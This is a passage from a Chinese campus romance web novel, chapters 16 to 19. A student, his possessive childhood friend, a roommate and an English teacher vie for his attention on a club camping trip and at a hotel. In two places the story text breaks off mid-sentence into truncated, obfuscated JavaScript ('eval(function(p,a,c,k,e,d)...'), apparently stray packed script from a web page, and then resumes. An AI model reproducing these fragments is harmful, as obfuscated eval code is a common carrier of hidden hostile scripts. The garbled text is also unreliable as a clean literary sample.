越鸣玉的本质是不会改变的,这么多年都一直陪在自己身边。居渡还记得幼儿园时,转学过来的越鸣玉把其他小朋友全吓哭的场景,大概是因为只有他不害怕,所以就被盯上了。 这两周越鸣玉倒是挺安分,但是对沈予归的态度依然算不上多好,好在没有和沈予归起什么正面冲突。 离国庆节还有两天,他们定下的露营时段是在国庆假期第二天到假期第四天,地点在隔壁市一座支持人们进入的山林。 那座山林人为破坏很少,基本上都保留了美丽的自然景色,是年轻人结伴出行游玩的好去处。 国庆节前这两天,居渡和沈予归商量确认好了时间和所需的物品。他和越鸣玉都准备了容量较大的登山背包,放了一些基础的衣物和通讯设备。 像烧烤架、帐篷、食材这种不太方便携带的物品都是准备到隔壁市再进行租用或购买。 由于社团中参加的人不少,也允许本校非社团且不限年级的学生参与,所以大家的兴致都挺高。 快到了约定的时间,居渡他们准备一同乘坐大巴车前往隔壁市。大巴车停在校门口,离宿舍楼还有一段距离。 因为沈予归是社团中的人,所以他就先去大巴车那边帮忙记录到达上车的人数。 “嘀——”地一声,居渡拿起遥控器关掉空调。他和越鸣玉都背着包,准备去校门口找沈予归会合。 在居渡打开门要下楼梯时,越鸣玉突然出声喊住了居渡。 “居渡,把你的包给我。”越鸣玉盯着居渡,他向居渡伸出手,示意把背包让他拿着就行。 居渡抬眼对上越鸣玉的视线,他其实不太想麻烦越鸣玉,何况他们两人背包里的东西不算少,重量都摆在那儿。 “不用了。” 越鸣玉听到这话后眉头一皱。 外面那么大的太阳,一出门居渡就会开始不停流汗。每次看到居渡热成那样,他的心脏便攥紧似的疼得厉害,怎么说也不想让其他东西再来增加居渡的负担。 这些天来越鸣玉相当听话拼命压抑着自身,也没有提出要和居渡睡在一起的无理举动。他其实还是很期待能和居渡两个人一起出去的,前提是,如果没有那群碍事的家伙就更好了。 “行了,这点东西对我来说算什么。走吧,等会儿先去买瓶水,我怕你路上渴了。”随着越鸣玉霸道的话一起的是他不由分说夺过居渡背包的动作。 越鸣玉完全不给居渡拒绝的机会,居渡也只好摆摆手妥协。 买完水去到校门口会合时,不光在大巴车旁看到了等着的沈予归,更是看到一个衣着得体面上带笑的男人。 ——颜斐章。 看到颜斐章的居渡再次回想起了被英语课支配着的恐惧。他真的一点都不好奇为什么颜斐章会出现在这里,而且一看这架势就是要跟着一起去。 越鸣玉看到颜斐章之后火气直接上来了,他难道还不知道这头老狐狸藏着什么心,根本毫不掩饰对居渡的兴趣盎然。 “你!”越鸣玉的声音异常低沉,他脸上的表情立刻变得凶恶起来。 一向暴躁又克制不住脾气的越鸣玉只想冲上去狠狠揍颜斐章几拳,揍到这家伙打消对居渡的龌龊想法。 眯眯眼笑着的颜斐章一看到居渡便直勾勾地盯着居渡看,真就当一旁的越鸣玉和空气中的灰尘没有区别。 居渡察觉到事情不对,越鸣玉这个脾气和谁都相处不来,性格又暴又坏,尤其是对沈予归和颜斐章这两个人充满敌意。 虽然居渡并不知道越鸣玉的敌意和愤怒是怎么来的,但他还是有义务要拦住即将爆发的大魔王的。 “老师,你也在啊。”他向颜斐章打了个招呼。 颜斐章笑眯眯地点点头。“快登记名字吧。” 除此之外没有过多言语和解释。 居渡见状松了口气,他其实不太擅长应付颜斐章这种人。笑面阎王真的很难让人看透,还是越鸣玉这种相比之下稍微好懂一点的家伙比较好。 拿着签名簿的沈予归一双黑漆漆的眼睛注视着居渡,他让居渡和越鸣玉到他这儿签名,然后看着他们上了大巴车。 他刚知道颜斐章会跟着一起过去时也有些惊讶,毕竟颜斐章虽然看起来挺好相处,但却是个不折不扣的可怕男人,平常也不爱掺和学生们的事。 这样一看,颜斐章并不是毫无缘由地过来,而是出于某种“目的”。 隐约猜出颜斐章究竟想要做些什么的沈予归心情自然算不上太好。 越鸣玉上车前趁走在他前面的居渡看不见,眼神发沉地看了眼颜斐章后才踏上大巴车。大有如果颜斐章敢对居渡出手,他就把颜斐章揍得谁都不认识的意思。 在居渡和越鸣玉上了大巴车之后,颜斐章才收敛起唇边的笑意。他瞥了眼站在旁边安静不语的沈予归,没有主动搭话。 他们两人之间的气氛微妙地凝结着。 人员全部到齐,沈予归和颜斐章也一前一后地上了大巴车。 居渡被越鸣玉拉着坐了后排,他当然想着能让居渡和那两人有多远就离多远。居渡坐在靠窗的位置,越鸣玉则是坐在靠走道的位置。 这样一来越鸣玉倒是用身体把居渡圈了个严严实实。 大巴车上有空调,此时并不会感到太过闷热。沈予归同样向后走,坐到了一个离居渡距离不太远的位置上。 点完名确认了人都在,颜斐章这才开口解释他为什么会在这里。 “你们社团的负责人张老师国庆假期要回去陪老婆,就由我这个单身人士来照顾你们。当然,你们想玩什么就玩什么,不需要顾虑我,我只是要确保你们的安全。” 颜斐章的一番话说得合情合理,大多数人都不会有反对的意见。 像越鸣玉这种全身上下写满让颜斐章“赶紧滚”的人,他的反对也是没有用的。 X大的社团都会由一个老师专门负责,其实一般就是给社团活动申请盖个章通过。但是如果社团举办活动需要外出时,必须由社团负责人跟着确保学生的安全,在国庆假期也不例外。 一开始颜斐章是不知道这件事的,负责这个社团的张老师在闲聊时谈到了这个话题,还专门提了下里面有颜斐章教过的班级学生。 听到之后颜斐章突然意识到了什么,拿了上报的名单来看,果然在名单中找到了“居渡”这两个字。 印证了脑中的想法,只是看着居渡的名字颜斐章就忍不住地喉咙发痒,眼睛里的笑意藏都藏不住。 这可不是他有意去查找的,这都是巧合。 于是颜斐章便和社团负责人张老师商量,说他国庆也没什么事能做,可以在国庆假期期间暂时接管社团的活动。 明眼人一看,那几天颜斐章的心情是好得不能再好。平常看起来有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他从小就和居渡待在一起,居渡什么习惯他都摸得很清楚,现在直接让居渡靠在他肩膀上能睡得舒服一些。 看到居渡睡得比之前要安稳许多,越鸣玉才暗自放松下来。居渡睡了他也没什么事可以做,想了想便打开手机相册翻看着照片。 居渡和他都不是喜欢拍照的那一类人,但是双方的妈妈都很喜欢拍摄记录他们成长的照片。几乎是从幼儿园开始每一年都有拍照片,而且两个人的合照数量还不少。 虽然长大之后越鸣玉对单独拍照片这件事十分抗拒和厌烦,但只要是两家妈妈要拍他和居渡的合照,越鸣玉就绝对不会说一个“不”字,甚至还暗地里有意让他妈多拍几张。 照片上笑着的居渡旁站着一脸凶相表情僵硬的越鸣玉。 那是高二秋季运动会的照片。越鸣玉刚跑完接力赛脸上还带着汗水,眼下也贴了一个遮盖打架擦伤的创可贴。 居渡没有参加运动会,他和两位妈妈在观众席上看越鸣玉跑步。越鸣玉的运动神经的确相当发达,最后也是出了大部分力为他们组拿了第一。 不过他似乎还是不怎么高兴,直到和居渡一起拍合照时才好转一些,想要放松下来却因为紧张所以面部神情显得有些僵硬。 居渡看完照片还嘲笑了下越鸣玉的表情,越鸣玉想生闷气又生不了,只好凶着一张脸低声说。 “你好看不就行了吗!”凶巴巴又非常认真的语气把在场的两位妈妈都逗笑了。 越鸣玉盯着那张照片出神,他的指腹摸上手机屏幕里居渡的脸,又悄悄转头看了眼在他肩头熟睡的居渡。 他想要和居渡永远在一起,以另一种身份。居渡的笑容,他想要留住一辈子。 枕着越鸣玉肩膀睡着的居渡,紧盯着居渡不放的越鸣玉,以及大巴车上不断传来的,细微的空调风扇声响,在这个有着炙热阳光的秋日不断交织,直至定格。 17. 第17章 居渡是那种只要一坐车就会睡到下车的人,两个半小时的车程很快就过去了。 越鸣玉一动不动地让居渡枕着他的肩膀,看大巴车快到地方时出声唤醒居渡。“居渡,居渡。快到了,醒醒。” 说话时明显比平时说话音调放低几个度,声音不大。他也不伸手去推居渡,而是头转向居渡那边低声说着话。 这一路上居渡睡得死,路上没什么颠簸,车内温度又很合适。睡足了的居渡现在被越鸣玉叫醒,他慢慢睁开眼睛,接着把耳中放歌的耳机拿了下来。 醒了之后身体自然而然回到原来的位置,居渡并未注意到自己靠着越鸣玉睡了两个多小时。 “到了?”居渡稍微活动了一下身体,手放在后颈处揉了两下。 越鸣玉看到居渡无自觉地远离他的身体,胸腔中难免涌上一股失落。 不过能让毫无防备的居渡待在自己身边,还靠着自己睡了那么久,对于这时候的他来说,已经是一件非常值得庆祝的事情了。 “大概还有个五分钟就到了。”越鸣玉的眼睛直直盯着居渡看,声音低低沉沉的,没有平常那副凶悍霸道的样子。 居渡点点头,他没看着越鸣玉,睡饱了恢复了精神,看了看窗外又拿着手机开始玩。 越鸣玉也没再说话,就这样安静地看着居渡。他当然不会去妨碍居渡玩什么,何况他们高中的时候常常会约在对方家里打游戏。 睡了两个多小时的居渡终于醒了,坐在后排的沈予归和颜斐章自然都注意到这种情况。 由于越鸣玉的位置靠过道,他又人高马大身强体壮的,被他身体这么一挡,从沈予归和颜斐章的角度根本看不到居渡。 只能模模糊糊地看见越鸣玉似乎是让居渡靠着他睡觉。 沈予归面上没有多余的表情,也看不出他的情绪到底如何。但他毕竟年轻,不善于控制自己的情感,所以眼中凝着的冰冷依然十分明显。 颜斐章则是典型的擅长掩藏自己真实情感的男人。他每天都是一副眯眯眼笑着的模样,对谁的态度似乎都一样,根本看不出来他到底是高兴还是不高兴。 不过这两个人此时估计想着的是同一件事。 那就是从大巴车上把碍眼又碍事的越鸣玉给扔下去。 大巴车已经行驶到目的地,到达的时间是下午四点半。这是为期三天露营的第一天,原定计划并不是立刻就去山林中露营。 今天统一在离山林附近的酒店提前订了房间,入住之后剩余的时间买些第二天露营需要用的东西,晚上聚一餐再就是好好休息。 居渡当然是知道今天的计划,又刚睡醒保留了精力,打算待会儿在这周围转一转。 下了大巴车后大家都拿上自己带的行李,进酒店出示身份证拿已经订好房间的房卡。居渡是和越鸣玉住在一起。 在宿舍准备订房间时,越鸣玉就表露出想和居渡睡一个房间的意思。 居渡倒是和谁睡在一个房间都没问题,况且他和越鸣玉的关系摆在这儿,再怎么说他们也是从小就睡在一张床上的人。 不过越鸣玉做的那些对他来说冲击很大的事情,居渡是选择性地想要遗忘的。 当时居渡订的是一间双人床房间。越鸣玉在居渡选这个房间的时候“呃嗯——”停顿了下,表情又凶又僵硬,似乎想要说些什么来阻止居渡。 但又生生将这股冲动压了下来,他当然是想和居渡睡在同一张床上。可是居渡有了别的选择,他也不能强硬地要求更改,只好沉住气什么都没干涉。 两人去前台出示身份证准备拿房卡,结果却得到了前台工作人员的一句抱歉。 “这边实在很抱歉,由于我们的疏忽,二位原定的双人床房间已经没有了,我为你们二位特别升级为大床房如何?带来麻烦还请见谅。” 听到这话后,居渡难得沉默了。 他怎么也没想到最后的归宿还是要和越鸣玉睡同一张床,这就是传说中的逃不开的宿命吗。 其实居渡并不是多讨厌和越鸣玉睡在一起,主要是最近的越鸣玉状态有些不对劲,但是具体要说是哪里不对又说不上来。 而且他总是会想到高中时越鸣玉和自己睡在一张床上,然后半夜醒来发现越鸣玉在做那种事的尴尬情景。他要是再次发现了被越鸣玉杀人灭口该怎么办。 越鸣玉听到前台工作人员的话后显然要比居渡积极得多,低沉又难藏喜悦的声音也很快发出来。 “可以。” 这简直是上天给他的助攻,越鸣玉的心情好得不得了。 “居渡,就选这个吧,没有原来的房间也没办法。”语气没有丝毫霸道强制的意味,反而透露出一股好言相劝的感觉。 在前台工作人员和越鸣玉的双重注视下,居渡点了点头。与其再继续纠结苦恼浪费时间,还不如和不知道会做出什么事的越鸣玉睡在一起。 虽然这件事从某种意义上来说也有些糟糕就是了。 得到了居渡的同意,越鸣玉已经能称得上是喜形于色。拿到房卡后立刻带着他和居渡的背包乘坐电梯上楼,颇有种迫不及待的意思。 “滴——”地一声,房门被打开,越鸣玉走进去把房卡插进门边墙壁的卡槽中供电。 房间还算宽敞,卫生间用磨砂玻璃隔着,电视机沙发茶几都不缺,当然最显眼的是房间里的那张大床。 幸好只是普通的大床房,也不会有什么奇奇怪怪的东西。居渡四处看了看,然后看向越鸣玉开口:“越鸣玉,把包给我。” 心情正好得要命的越鸣玉把居渡的背包递给他,居渡拿过背包简单把带的东西拿出来就坐在床边低头看着手机。 越鸣玉看了看坐着的居渡,又看了眼时间。“我去底下便利店买些东西,你想吃什么。” 都快五点了,虽然之后会有聚餐,但他怎么说也不能让居渡空着肚子一直等。对越鸣玉而言,他在照顾人这方面可不陌生,时时刻刻都把眼睛拴在居渡身上。 从小时候一直到现在,照顾人的那一方一直都是越鸣玉。 很难想象这个凶戾蛮横脾气又暴躁的家伙居然每次都能把居渡照顾得十分妥当。而且这种事越鸣玉还做得越来越顺手,甚至连他自己都没怎么意识到这种变化。 每一次去居渡家里玩或者过夜,他就一定会带居渡喜欢吃的零食。一般情况下居渡要是有了什么麻烦,越鸣玉总能第一个帮他解决掉。 有时候居渡会拒绝他的好意,越鸣玉心里难受得紧,就会去揍那些整天没事找事的混混泄气。 居渡放下手机想了想,他其实不太饿,便利店里的饭团和便当他也不怎么想吃。“买份关东煮吧,不是等会儿就要去聚餐了吗。” “行,那饮料什么的我也顺便给你买了。”越鸣玉应声道。 居渡点点头表示没有异议。 说完后越鸣玉就下楼去便利店买了些东西,除了关东煮外他还买了居渡常吃的一些零食,拎着一大袋东西进入电梯准备上楼。 电梯门即将关上时又突然被打开,一个男人走进电梯中。 在看到进来的人是颜斐章的那一瞬间,越鸣玉整个人都快爆炸了。垂在身侧的拳头紧握着,手背青筋暴起,塑料袋都被捏得变形。 他厌恶所有对居渡心怀不轨的家伙,对颜斐章的厌烦更是直接挂在脸上。这个男人的心思太深,根本不知道他会对居渡做出什么事来。 有时候越鸣玉野兽般的直觉还是很敏锐的。 颜斐章也是进来后才看到越鸣玉。 面前这个高大结实眉目透出几分兽般凶狠的家伙,却心甘情愿跑腿似的拎着一大堆吃的,一看就是给另一个人买的。 越鸣玉正强忍着脾气不去真的揍颜斐章一拳,颜斐章似乎没打算刺激越鸣玉。他一眼就看出来现在的越鸣玉还不会对居渡做些实质性的举动。 居渡的性格他了解,如果越鸣玉早早地戳破这层窗户纸,那最后只会让两个人的关系恢复不到从前。 做任何事都要循序渐进不是吗。 颜斐章将视线转到越鸣玉手中拎着的便利店食品上。 “让他少吃一些,待会儿还有聚餐。”颜斐章的语气低低的,面上却出奇地没什么笑意。 说到底他也不想和越鸣玉有过多的交流。 电梯里只有他们两人,有什么就说什么,颜斐章倒是不怎么顾忌。 一听到颜斐章的话越鸣玉几乎是点火就炸。他当然知道之后还有聚餐,但居渡想吃多少就吃多少,就算会剩下那时候让他来吃掉就行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在居渡面前越鸣玉倒是没有表现出太多糟糕的情绪,也没有说刚刚在电梯中巧遇颜斐章的事情。说出来只是给自己添堵,何况他并不想和居渡聊关于颜斐章的话题。 但是颜斐章口中说的和居渡有别的关系这件事,还是让越鸣玉的心不停往下沉,胸膛闷得喘不过气。 “我买了不少东西,你挑喜欢的吃,吃不完给我。”越鸣玉边说边走进房间将袋子放在茶几上,然后把居渡要的关东煮找出来递了过去。 居渡接过并打开装关东煮的盒子,再掰开一次性筷子,夹了一块北极翅放进嘴里。 不得不说,大魔王有时候买东西是真的学不会控制。他这盒关东煮的份量实在太足,居渡有理由怀疑越鸣玉把店内关东煮所有品种都买了一遍。 “越鸣玉,帮我把电视打开。”居渡吃着关东煮对离电视近的越鸣玉说。 虽然越鸣玉纠结颜斐章的话有些心不在焉,但是身体还是本能地听从居渡的话去做。 打开电视又帮居渡调到了他常看的一档综艺节目。做完这一切的越鸣玉甚至都没反应过来,只能说是习惯成自然,肌肉记忆还真是不得了。 对于颜斐章是否真的和居渡有关系这件事,越鸣玉不知道该怎么开口问居渡。他一开口肯定会把事情搞砸,而且看居渡的样子似乎对颜斐章没有别的印象。 难不成是那老狐狸在说谎。这种可能性并不大,如果是谎言的话,按照那个男人的性格一开始就不屑故意说出来刺激自己。 难得越鸣玉情绪不高,看着电视的居渡倒是没察觉出什么异常。 吃到最后,关东煮还剩下一些,居渡顺手递给了越鸣玉。“你要吃吗?” 越鸣玉这才恢复些精神,双眼一眨不眨地紧盯着居渡,平日里看起来总是带着几分难惹的凶狠气息的五官很难不让人发怵。 居渡被看得莫名其妙,不知道越鸣玉又想干什么。“怎么了?不吃的话我就放一边了。” “我吃!谁说我不吃的。”越鸣玉急忙拦下居渡,动作快速地接过那份关东煮。 与其去想那些乱七八糟的,还不如多想想怎么让居渡对自己放下戒心。 就算颜斐章和居渡之前认识,他也不会容许颜斐章对居渡做什么过分的事情,他绝不会让那个男人有机可乘。并不是想要束缚住居渡,从始至终他都只想陪在居渡身边。 看到越鸣玉恢复正常,居渡便没再说些什么。即使恢复正常的越鸣玉可能会更加麻烦,他也并不是很在意。 18. 第18章 吃了东西压压肚子后,居渡又坐着看了一会儿电视节目。这时手机突然震动两下,居渡拿起手机一看,是沈予归给自己发的消息。 【在这间饭店订了七点半聚餐的位置,不要忘记了。】 [地址] 【另外,我们打算先去购买明天露营所需物品,居渡,你要不要一起过来?】 离聚餐的时间还有一个多小时,闷在酒店房间里也没什么事可以做,刚刚看电视看入神了都忘记本来是要打算出去转转的。 趁这个时间准备好帐篷一类的物品,提前做好准备,明天就能无负担地直接出发去目的地。当下居渡就给出了回复。 【可以啊!】 沈予归那边更是秒回信息。 【好,那五分钟后我们在一楼大厅见。】 居渡在这给沈予归发消息,待在一旁的越鸣玉是看了个清清楚楚。虽然看不到他们到底聊了什么内容,但越鸣玉不免下意识地皱起眉头。 显然发消息给居渡的不会是其他人,除了他们宿舍的那个沈予归还会有谁。也不知道居渡什么时候和那家伙这么熟了。 越鸣玉满脸醋意,牙都快咬碎了却不出声。他要是表现得占有欲很强地质问居渡在和谁发消息,那才是最糟糕的事情。 好在居渡并没有把越鸣玉给忘掉,他收到消息后转头告诉越鸣玉。“待会儿和沈予归他们一起去买必需品,你要不要也跟着过来。” “当然去!”没想到居渡居然会主动提起这茬,越鸣玉胸腔里的烦闷顷刻间烟消云散,他毫不犹豫地答应下来。 虽然沈予归最近抢占先机让他很不爽,但是不管怎么说,他这十几年还是在居渡面前刷足了存在感,至少居渡不会在这种事上故意把他丢下。 每当这时,越鸣玉就无比感谢他老妈在他上幼儿园那会儿搬家转学。 居渡看越鸣玉答应了就点了点头,两人收拾好之后一起下楼找沈予归会合。结果在电梯里看到了一个谁都没想到会刚巧遇见的男人。 电梯停在居渡他们房间下面的楼层,电梯门一打开,居渡和颜斐章四目相对。 站在居渡身边的越鸣玉瞬间黑脸,眉毛紧紧皱着,咬着牙根怒视着颜斐章。活脱脱一头只要主人下令就会立刻咬死面前男人的恶犬。 居渡还没察觉到越鸣玉的不对劲,不如说是没空去注意,他光是看着眯眯眼笑着的颜斐章就感到后背一凉。他真是莫名不擅长应付颜斐章这种类型的男人。 “老师好。”但他也不能不打招呼,保持礼貌是最基本的素养,而且颜斐章可是掌握着无数学生性命的阎罗王。 被先一步地打了招呼,颜斐章明显心情很好地笑着向居渡点点头,他全程没给越鸣玉一个眼神,显然对越鸣玉不感兴趣。 他当然没想到能和居渡巧遇,看居渡有准备似的下楼,便出声问着:“你这是要去做什么?” 无意识低下来的嗓音听起来莫名带着几分暧昧的性感,又是一脸笑眯眯的模样,和讲台上那个让人产生心理阴影的男人判若两人。 这时越鸣玉终于忍不下去了,这混蛋的目的不要太明显。就算是作为老师随口关心学生,那眼神需要这么变态露骨吗。 这头老狐狸的视线都快把居渡给生吞活剥了。 “管得真他妈宽。”越鸣玉沉声骂道。 封闭的电梯空间本就狭小,又自带压抑的安静。越鸣玉的这句话完全没有控制声音大小,颜斐章自然是听了个清清楚楚。 看不出这个男人在想些什么,他面上和善的笑容没有改变分毫。 听见越鸣玉说了什么后,居渡赶快用手臂碰了碰越鸣玉,警告他别再说了。大魔王是真的不想活命了吗,谁都没说过颜斐章不记仇。 给笑面阎王抓住小辫子,一定会死得很难看。 颜斐章的英语课,X大的其他学生要是有幸体验一下,那也能称得上是人生一大乐事。 当然,必定是安乐事。 “我们准备去买明天露营要用的东西,提前买好接下来就会方便很多。”居渡老老实实地回答。 他其实也觉得颜斐章的眼神有哪里怪怪的,这种怪异的感觉具体是什么又说不上来。反正被这个笑面阎王盯上就会有一种脊椎骨发麻的感觉,这个男人在他眼中比越鸣玉更像危险的野兽。 对情爱方面反应本就迟钝的居渡,当然看不懂颜斐章眼神中的深意。 但在他身旁的越鸣玉知道颜斐章肯定揣着一肚子坏水。他同样清楚居渡暂时不会察觉出什么,不过这并不代表他会因此放松警惕。 所以越鸣玉在居渡说完话后,微不可察地用身体阻隔了颜斐章和居渡之间的距离。 居渡没发现这个细微的动作,他想起颜斐章跟车过来是为了什么又补充了两句:“老师不用担心,我们就在酒店附近的步行街转一转,七点半会准时到聚餐地点的。” 颜斐章不着痕迹地瞥了眼越鸣玉上前挡住的结实身躯,这个家伙碍事的程度真不是一星半点。什么时候都紧跟在居渡身边,根本没有空隙能钻。 听到居渡说的话,颜斐章顺势作思考状。他刚刚还没想出什么理由,现在正好被居渡提醒了。 于是颜斐章面上的笑意加深了几分,他真是每一次都会在居渡这里得到答案。 “让我也加入如何?夜晚并不是很安全,出了事的话,老师得负责任。”颜斐章的声音低低沉沉的,偏偏语气中的诱导性异常强烈。 越鸣玉在心里暗骂了一句放屁,他们几个成年男性去买个东西能出什么事。 就算是他出事他也绝对不会让居渡出事。 越鸣玉把拳头捏得咔咔作响,他眉目中的凶狠已经毫不掩饰,显然对颜斐章张嘴就来的胡说八道十分愤怒。 居渡:······ 要说安全性他其实觉得应该能有所保障,谁让身边有个特别能打架的大魔王在。出事的话,他倒是挺担心越鸣玉会把别人弄出事。 毕竟越鸣玉无论从哪个角度看,都是非常能惹出事又让人害怕的家伙。身高体壮肌肉结实,性格更是凶暴难驯。 典型的地痞流氓看了都要哭着回家找妈妈的类型。 “好。”一时间居渡想不到该怎么拒绝,颜斐章想跟着就跟着吧,他总不能对老师抱有偏见。 当看见居渡点头答应时,颜斐章面上笑意更甚。 虽然那一天在校园里再次见到居渡,自己就知道这个人一定对他没有印象了,也不记得他们两人之前发生过什么事情。 但是颜斐章并未过多在意,他想要的绝对不是居渡和他的过去,而是充满未知性又没有讨厌因素存在的未来。这个讨厌因素,当然指的是那个额头青筋暴起快要气炸的高大家伙。 电梯停在一楼,他们三人出了电梯。 站在大厅等着居渡的沈予归身旁还有两个男生,看样子是社团里负责采买物品的人。 像帐篷这种私人用的东西可以自己进行租借或购买,烧烤架、炉子、木炭这些公用的物品则需要由社团来总负责。 一直紧盯着电梯口的沈予归看到居渡时松了一口气。居渡并没有超过约定时间,他只是习惯性地提前下楼等待而已。 给居渡发信息前沈予归思考了很久,最后还是发出了邀请,居渡的回复让他忍不住喜悦起来。结果现在看到的却是一左一右走在居渡身边的那两个给人感觉截然相反的家伙。 颜斐章的面上依然是好脾气般眯眯眼微笑。衬衫袖口被卷到手肘处,露出肌理分明的小臂,锻炼得紧实有致的身体被藏在休闲风格的衬衫西裤下。单从五官上看,根本看不出他的实际年龄。 相比之下越鸣玉的身体会更有意无意地紧贴着居渡,并不紧身的黑色短袖却很巧妙地勾勒出他结实柔韧的身体肌肉,被阳光晒成蜜色的皮肤更添几分力量感。 越鸣玉紧皱着眉面上表情很差,隐隐带着烦躁,给人感觉极为凶戾可怖。 走在这两人中间的居渡倒是出乎意料地没受什么影响,看到沈予归后立刻挥手打了招呼。 沈予归走了过去,居渡停下脚步,颜斐章和越鸣玉也跟着停了下来。沈予归清楚自己就算什么都不问,他都能确定越鸣玉和颜斐章肯定是要跟着去的。 “走吧,居渡。”于是他并没有问有关那两人的事,他的眼睛只看向居渡。声音低低的,藏着许多沙砾一样的独特嗓音无比悦耳。 越鸣玉和颜斐章看到沈予归这一副等恋人的男友态度双双不爽起来,两人都碍于居渡在一旁才没有开 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由于明天他们要露营的山林平时也会有很多野营爱好者,所以步行街上开了好几家登山用品店。这给居渡他们行了方便,大概看了看选了一家店走了进去。 一进到店里老板就热心地迎了上来。 在购物方面居渡倒是一点都不纠结犹豫,很快选定了帐篷的样式和稍微坚固一些的材质。选到颜色的时候,居渡回过头来问了句一路上几乎没怎么说话的越鸣玉。 “越鸣玉,你想要哪个颜色,蓝色可以吗。” 今天晚上都要和大魔王睡同一张床了,明天睡同一顶帐篷也不是那么难以接受的事。居渡的接受能力在某些时候还真是相当特别。 突然被点到名字的越鸣玉反应也很快。“好,居渡,都听你的。” 真是条得了骨头的狗。 颜斐章面上眯眯眼笑,实则强忍着心上冒出的酸意,他下一秒就不甘示弱地凑到居渡面前。“你好,买和他一样的。” 与此同时,沈予归听起来没什么温度的声音跟着响了起来。“我也是。” 越鸣玉的好心情差点一扫而空。他自我催眠着这两人不会对自己造成影响,反正他是要和居渡睡同一顶帐篷的人。 然后他就看到了颜斐章的眼神,越鸣玉只一瞬便沉下脸色。因为颜斐章面上的表情分明在说“这可不一定”。 待在一旁的沈予归虽然没有说话,但他心中所想的估计和这两人的想法差不了多少。 三人选完帐篷又买了一些其他物品,依然是居渡买什么沈予归和颜斐章就跟着买什么。越鸣玉在这种事上又阻止不了,只能憋了一肚子火气。 他们三人买的东西多,老板乐得合不拢嘴,直接说明天免费帮他们送到露营的地方。 事情解决也快到了聚餐时间,他们便一同过去吃饭。 第一天晚上的聚餐主要是想让大家先互相熟悉熟悉,气氛还算融洽,颜斐章倒是意料之外地被灌了不少酒。 居渡和越鸣玉也喝了几杯啤酒,聚餐结束后还有不少人准备去KTV接着玩乐。 越鸣玉强行克制着不耐烦的情绪。因为居渡这个时候已经明显有了倦意,越鸣玉当然看得出来,所以随便找了个借口带着居渡回到酒店房间。 在居渡离席的时候,沈予归和颜斐章都察觉到了。 沈予归同样没有要去第二场的意思,抽身离开回了酒店。 颜斐章也有离席的意思,但这群正当年纪很能闹腾的学生怎么会放过唯一的老师,硬是拉着颜斐章去了KTV。 结果到了KTV没过多久他们就发现颜斐章也跟着不见了。 颜斐章可没什么心思陪这群学生闹下去,居渡离开了他也没了继续待着的理由。而且再怎么说,他不去给越鸣玉添堵是不是有些说不过去。 怎么可能放任越鸣玉和喝了酒的居渡待在同一间房里,那头心智不成熟的野兽还不知道会做出什么事情。 更何况,男人的嫉妒心是很可怕的,尤其是到了自己这个年龄段的成熟男人。颜斐章眯着眼,从他的脸上找寻不到丝毫笑意。 19. 第19章 居渡并没有喝醉,那点啤酒加上越鸣玉有意无意帮他挡酒,自己只喝了很少一部分。不过吃饱喝足后的确让他产生了困意,KTV的第二场他本来也不打算去。 于是他们两人一同回到酒店房间。 回到房间的居渡坐在沙发上打算先休息一下。越鸣玉盯着居渡,看他没什么大碍,好像现在也不怎么困,就对居渡说了声:“你洗还是我洗?” “你先洗吧。”居渡表示越鸣玉先洗就行,他等会儿再洗。这句话一说出来氛围莫名变得奇怪起来,白天显得没有其他特殊含义的大床房,这时候似乎逐渐染上了暧昧的色彩。 越鸣玉早早地和居渡回来并没有别的意思,他单纯是发觉到居渡累了便带他回来。 就算越鸣玉刚刚是随口扯了个理由,也没人敢强行将他留下来。聚餐的人彼此之间不太熟悉,他这种一看就不是什么好惹类型的家伙当然没人敢触霉头。 和越鸣玉回来之后,居渡反而不怎么困了,趁着越鸣玉去洗澡他打开电视看起节目来。 居渡认真看电视还没看多久,房门就被敲响。 在浴室里开着花洒冲澡的越鸣玉自然听不太清楚外面的动静,何况正洗着澡他又不方便出来,居渡就走过去开了门。 “哪位?”他想着这大晚上又没有别的活动了,来敲门要干什么。 打开门后发现门外站着的人是沈予归,沈予归手上拎着一堆吃的。注意到居渡看向他时还将手中的食物往上抬了抬,似乎想让居渡知道他并不是空手过来的。 “居渡,我回来的路上顺便买了一些吃的,你要不要尝尝看?”沈予归敛下眼,墨黑的眼珠直直地盯着居渡。 原来是沈予归带着吃的串门来了。居渡这时候也不困,人来都来了就直接让沈予归进了房间。 “进来吧,我们聊我们的。越鸣玉他在洗澡,不用管他。”居渡表示很欢迎沈予归。 沈予归点了点头,双眼里藏了些明亮的光采。但他进来之后一眼就看到了房间里唯一的那张大床,眼神沉了一瞬,随即恢复正常。 居渡看越鸣玉在洗澡他就没特地过去说一声沈予归来了,而且他多少能看得出来越鸣玉和沈予归并不是很合得来。 他们二人并未刻意地表露出不合,因为那会让夹在中间的居渡感觉不好,为了照顾居渡的感受便不约而同地做出让步。 虽然按照越鸣玉的性格,就算居渡在的时候他也会直接表达对沈予归的不爽,但大多数时间里是连眼神都不会给对方一个的。 卫生间里洗澡的越鸣玉对外面发生的事浑然不觉,居渡正和沈予归坐在一起边吃东西边聊着天。 沈予归这个人看起来挺沉默寡言,和他聊起来却意外地没什么压力。而且也不是居渡一味地在找话题,更多地反而是沈予归主动提起一些事情。 两个人没说上太久,房门再度被敲响。居渡只好礼貌说了声“抱歉”,然后走过去开门。 这次门外站着的是急忙赶过来的颜斐章,颜斐章看到是居渡开门时悄悄松了口气。毕竟如果是越鸣玉的话,他能进来的可能性就会更低。 看到颜斐章时居渡的心里满是疑惑,今天是什么日子,怎么连颜斐章也过来凑热闹。 “我来查房。好了,居渡,让老师进去喝口水吧。”居渡还没开口问什么,颜斐章就立刻将自己准备好的理由说出来,说完后这个眯眯眼男人便打算直接进来。 居渡:······ 居渡满脸都是“你胡说八道吧”六个大字。 现在又没到查房时间,而且那些人不是都还没回来吗,颜斐章到底想做什么。他的脑海中莫名出现了颜斐章在课上教英语的样子,那还真是一段难以忘怀的噩梦时光。 见颜斐章非要进来,居渡也就侧身让了一下。 